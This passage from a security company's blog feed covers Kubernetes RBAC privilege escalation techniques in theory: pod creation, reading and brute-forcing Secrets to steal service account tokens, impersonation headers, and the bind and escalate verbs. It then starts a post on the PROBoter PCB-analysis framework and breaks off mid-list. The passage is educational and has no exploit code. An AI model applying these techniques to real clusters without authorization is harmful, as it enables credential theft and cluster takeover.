&lt;p>By exploiting this vulnerability the attacker gains access to the Kubernetes node, which increases the attack surface significantly.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/no-restrictions_hudcb5003fe577db4f74ff1043a459388c_805733_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/no-restrictions_hudcb5003fe577db4f74ff1043a459388c_805733_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/no-restrictions_hudcb5003fe577db4f74ff1043a459388c_805733_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/no-restrictions.jpg"
width="1920"
height="1097"
alt="Abusing Pod creation permissions to gain access on the underlying host."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Abusing Pod creation permissions to gain access on the underlying host.&lt;/figcaption>
&lt;/figure>
&lt;h3 id="secret-reading">Secret Reading&lt;/h3>
&lt;p>It goes without saying that the permission to read &lt;strong>Secrets&lt;/strong> - in any system - should be given with caution. This is also true in the context of Kubernetes RBAC. In Kubernetes, Secrets can be used to store application-critical configuration data in the Cluster in a relatively secure manner. Being able to read these Secrets is a very valuable position to be in. More importantly, authorization tokens of existing Serviceaccounts are also stored as a Secret in the Serviceaccounts' corresponding namespace. In consequence, anyone who is able to read Secrets within a namespace can steal these authorization tokens and essentially owns the respective Serviceaccounts' permissions.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/reading-secrets_hudcb5003fe577db4f74ff1043a459388c_746394_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/reading-secrets_hudcb5003fe577db4f74ff1043a459388c_746394_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/reading-secrets_hudcb5003fe577db4f74ff1043a459388c_746394_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/reading-secrets.jpg"
width="1920"
height="1097"
alt="Read Secrets to obtain a Serviceaccounts authorization token."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Read Secrets to obtain a Serviceaccounts authorization token.&lt;/figcaption>
&lt;/figure>
&lt;h5 id="brute-forcing-secrets">Brute-Forcing Secrets&lt;/h5>
&lt;p>In terms of permission &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/reference/using-api/api-concepts/#api-verbs#api-verbs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">verbs&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/using-api/api-concepts/#api-verbs#api-verbs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(6)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, Kubernetes makes a distinction between the verbs &lt;strong>get&lt;/strong>, and &lt;strong>list&lt;/strong>. While &lt;strong>list&lt;/strong> allows an entity to retrieve a collection of the respective resource, &lt;strong>get&lt;/strong> only allows the retrieval of single resource objects. This means that if an entity possesses the get permission on Secrets, it needs to know the exact name of that Secret in order to get its information.&lt;/p>
&lt;p>(Un)Fortunately, Kubernetes adheres to a certain pattern with which it automatically creates Secrets that belong to service accounts. The pattern goes &lt;code>&amp;lt;service-account-name&amp;gt;-token-&amp;lt;5-digit-alphanumeric&amp;gt;&lt;/code>. Consequently, finding the correct 5-digit alphanumeric combination for a given service account can be done in a matter of hours.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/brute-force-secret_hudcb5003fe577db4f74ff1043a459388c_807168_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/brute-force-secret_hudcb5003fe577db4f74ff1043a459388c_807168_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/brute-force-secret_hudcb5003fe577db4f74ff1043a459388c_807168_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/brute-force-secret.jpg"
width="1920"
height="1097"
alt="Brute-forcing a Serviceaccounts&amp;#39; corresponding Secret name to obtain its privileges."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Brute-forcing a Serviceaccounts&amp;#39; corresponding Secret name to obtain its privileges.&lt;/figcaption>
&lt;/figure>
&lt;h3 id="impersonation">Impersonation&lt;/h3>
&lt;p>In Kubernetes, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation#user-impersonation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">impersonation&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation#user-impersonation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(7)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
is a mechanism that allows an entity to act as another entity while performing API requests. This can be useful for administrators of the Cluster to check whether implemented configurations (e.g. newly created Roles) work as intended. However, attackers can use this mechanism to act as higher-privileged entities.&lt;/p>
&lt;p>Impersonation is done by adding the impersonation header: &lt;code>Impersonate-User: &amp;lt;user&amp;gt;&lt;/code> to the API request that is being sent to Kubernetes. Kubernetes first checks whether impersonation on the target is allowed and then proceeds as if the impersonated entity has made the request.&lt;/p>
&lt;p>Impersonating service accounts works similarly, but requires a little bit more specification within the username field. The respective header looks like this: &lt;code>Impersonate-User: system:serviceaccount:&amp;lt;namespace&amp;gt;:&amp;lt;service-account-name&amp;gt;&lt;/code>&lt;/p>
&lt;p>Impersonating a group is done in the same way, with the difference of having to provide the &lt;code>Impersonate-Group&lt;/code> header instead of the &lt;code>Impersonate-User&lt;/code> header.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/impersonate_hudcb5003fe577db4f74ff1043a459388c_737822_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/impersonate_hudcb5003fe577db4f74ff1043a459388c_737822_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/impersonate_hudcb5003fe577db4f74ff1043a459388c_737822_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/impersonate.jpg"
width="1920"
height="1097"
alt="Escalating privileges via Kubernetes&amp;#39; built-in impersonation mechanism."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Escalating privileges via Kubernetes&amp;#39; built-in impersonation mechanism.&lt;/figcaption>
&lt;/figure>
&lt;h3 id="bind">Bind&lt;/h3>
&lt;p>Theoretically, possessing the permission to create Rolebindings in Kubernetes is powerful as one could assign Roles or Clusterroles to oneself in order to obtain those permissions. However, Kubernetes does not allow binding Roles that possess more privileges than already held, if not explicitly allowed with the &lt;strong>bind&lt;/strong> verb.&lt;/p>
&lt;h4 id="binding-roles">Binding Roles&lt;/h4>
&lt;p>If an entity holds &lt;strong>both&lt;/strong>, the permission to &lt;strong>create Rolebindings&lt;/strong> and the permission to &lt;strong>bind Roles&lt;/strong>, it can assign arbitrary Roles to itself and elevate its privileges depending on the Roles available in the namespace in which these permissions are available on.&lt;/p>
&lt;h4 id="binding-clusterroles-within-a-namespace">Binding Clusterroles within a namespace&lt;/h4>
&lt;p>If an entity holds the permissions to &lt;strong>create Rolebindings&lt;/strong> and &lt;strong>bind Clusterroles&lt;/strong>, it is permitted to bind the permissions of a Clusterrole to the respective namespace. This is a generally greater privilege escalation than the first variant.&lt;/p>
&lt;h4 id="binding-clusterroles-cluster-wide">Binding Clusterroles cluster-wide&lt;/h4>
&lt;p>Finally, if an entity holds the permissions to &lt;strong>create Clusterrolebindings&lt;/strong> and &lt;strong>bind Clusterroles&lt;/strong>, it is permitted to gain the highest possible permissions within the Cluster by binding the permissions of the most privileged entities within the &lt;code>kube-system&lt;/code> namespace to itself.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/bind_hudcb5003fe577db4f74ff1043a459388c_788704_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/bind_hudcb5003fe577db4f74ff1043a459388c_788704_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/bind_hudcb5003fe577db4f74ff1043a459388c_788704_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/bind.jpg"
width="1920"
height="1097"
alt="Escalating privileges by using &amp;#39;bind&amp;#39; permissions."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Escalating privileges by using &amp;#39;bind&amp;#39; permissions.&lt;/figcaption>
&lt;/figure>
&lt;h2 id="escalate">Escalate&lt;/h2>
&lt;p>Let&amp;rsquo;s say an entity possesses the permissions to create Roles or update existing Roles. Attackers could abuse this to update Roles that are already assigned to them to contain the highest of privileges. However, this is not permitted by Kubernetes as it disallows creating Roles with permissions that are not already held. This is where &lt;strong>escalate&lt;/strong> chimes in.
Escalate is a verb that specifically exists to allow entities to create or edit Roles and Clusterroles that grant permissions that they themselves currently do not possess. If an entity has the permission to create/update Roles or Clusterroles and additionally possesses the permission to &lt;strong>escalate&lt;/strong>, it can assign arbitrary permissions to itself.&lt;/p>
&lt;figure
>
&lt;picture>
&lt;source media="(max-width: 320px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/escalate_hudcb5003fe577db4f74ff1043a459388c_792950_320x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 640px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/escalate_hudcb5003fe577db4f74ff1043a459388c_792950_640x0_resize_q95_lanczos.jpg">
&lt;source media="(max-width: 1280px)" srcset="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/escalate_hudcb5003fe577db4f74ff1043a459388c_792950_1280x0_resize_q95_lanczos.jpg">
&lt;img
src="https://www.schutzwerk.com/en/blog/kubernetes-privilege-escalation-01/escalate.jpg"
width="1920"
height="1097"
alt="Using escalate to increase current permissions."
/>
&lt;/picture>
&lt;figcaption class="figcaption">
&lt;div
class="skew-block blue"
>
&lt;/div>
Using escalate to increase current permissions.&lt;/figcaption>
&lt;/figure>
&lt;h2 id="next-post">Next Post&lt;/h2>
&lt;p>While this post has focused on explaining the theory of existing privilege escalation techniques within the Kubernetes' RBAC module, the next post will showcase hands-on examples of exploitation performed on a locally running &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kind.sigs.k8s.io/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">kind&lt;/span>
&lt;/a>&lt;a
href="https://kind.sigs.k8s.io/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">(8)&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
Cluster. &lt;br/>&lt;br/> If you liked this post, dont forget to follow us on &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://twitter.com/Schutzwerk"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Twitter&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.linkedin.com/company/schutzwerk/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">LinkedIn&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
, &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.xing.com/companies/schutzwerkgmbh/updates"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Xing&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to stay up-to-date with our latest content!&lt;/p>
&lt;h2 id="references">References&lt;/h2>
&lt;ul>
&lt;li>[1] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/concepts/overview/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kubernetes&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/concepts/overview/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Overview&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[2] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kubernetes&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/rbac/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">RBAC&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[3] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Admission&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/admission-controllers/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Controllers&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[4] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Configuring&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Service&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Accounts&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/tasks/configure-pod-container/configure-service-account/"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pods&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[5] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Bad&lt;/span>
&lt;/a>&lt;a
href="https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Pods&lt;/span>
&lt;/a>&lt;a
href="https://bishopfox.com/blog/kubernetes-pod-privilege-escalation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Lineup&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[6] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/reference/using-api/api-concepts/#api-verbs#api-verbs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kubernetes&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/using-api/api-concepts/#api-verbs#api-verbs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">API&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/using-api/api-concepts/#api-verbs#api-verbs"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">verbs&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[7] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation#user-impersonation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">User&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation#user-impersonation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Impersonation&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation#user-impersonation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">in&lt;/span>
&lt;/a>&lt;a
href="https://kubernetes.io/docs/reference/access-authn-authz/authentication/#user-impersonation#user-impersonation"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kubernetes&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>[8] &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://kind.sigs.k8s.io/"
class="link-background inline no-spaces"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kind&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://raesene.github.io/categories/index.html#Kubernetes-ref#Kubernetes-ref"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Raesenes&lt;/span>
&lt;/a>&lt;a
href="https://raesene.github.io/categories/index.html#Kubernetes-ref#Kubernetes-ref"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Blog&lt;/span>
&lt;/a>&lt;a
href="https://raesene.github.io/categories/index.html#Kubernetes-ref#Kubernetes-ref"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">-&lt;/span>
&lt;/a>&lt;a
href="https://raesene.github.io/categories/index.html#Kubernetes-ref#Kubernetes-ref"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kubernetes&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Eviatar&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Gerzi-&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Compromising&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Kubernetes&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Cluster&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">by&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Exploiting&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">RBAC&lt;/span>
&lt;/a>&lt;a
href="https://www.youtube.com/watch?v=1LMo0CftVC4"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Permissions&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;/ul></description></item><item><title>The PROBoter software framework</title><link>https://www.schutzwerk.com/en/blog/proboter-05/</link><author>Fabian Weber</author><pubDate>Mon, 10 Jul 2023 07:00:00 +0100</pubDate><category>proboter</category><category>embedded security</category><category>secforcars</category><category>toolrelease</category><description>
&lt;p>The &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">last&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">part&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
of the PROBoter series showed how innovative algorithms can help an &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">embedded&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">system&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">penetration&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/assessment/embedded-security-assessment/"
class="link-background inline split"
>
&lt;span class="link-label">tester&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
to analyze recorded voltage signals of an unknown PCB. Besides basic signal characteristics, these algorithms can link signal lines and identify communication buses typically found on PCBs like I2C or SPI. In this final post of the PROBoter series, we draw the big picture of the PROBoter software framework. In parallel to the release of this post, all missing services forming the framework are released on the &lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">Github&lt;/span>
&lt;/a>&lt;a
href="https://github.com/schutzwerk/PROBoter"
class="link-background inline split"target="_blank"
rel="nofollow noreferrer noopener"
>
&lt;span class="link-label">repo&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
[1]. The list below gives an overview of the topics covered in this blog post series.&lt;/p>
&lt;ul>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">PROBoter&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">demo&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-video"
class="link-background inline split"
>
&lt;span class="link-label">video&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">I:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">Introducing&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">a&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">for&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">automated&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-01/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">II:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">The&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">hardware&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-02/"
class="link-background inline split"
>
&lt;span class="link-label">platform&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">III:&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Visual&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">PCB&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">analysis&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">with&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Neural&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Networks&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">and&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">classic&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Computer&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">Vision&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-03/"
class="link-background inline split"
>
&lt;span class="link-label">algorithms&lt;/span>
&lt;/a>
&lt;/span>
&lt;/span>
&lt;/li>
&lt;li>&lt;span class="markdown-link-wrapper">
&lt;span class="inline-link">&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">Part&lt;/span>
&lt;/a>&lt;a
href="https://www.schutzwerk.com/en/blog/proboter-04/"
class="link-background inline split"
>
&lt;span class="link-label">IV:&lt;/span>
&lt;/a>&lt;a
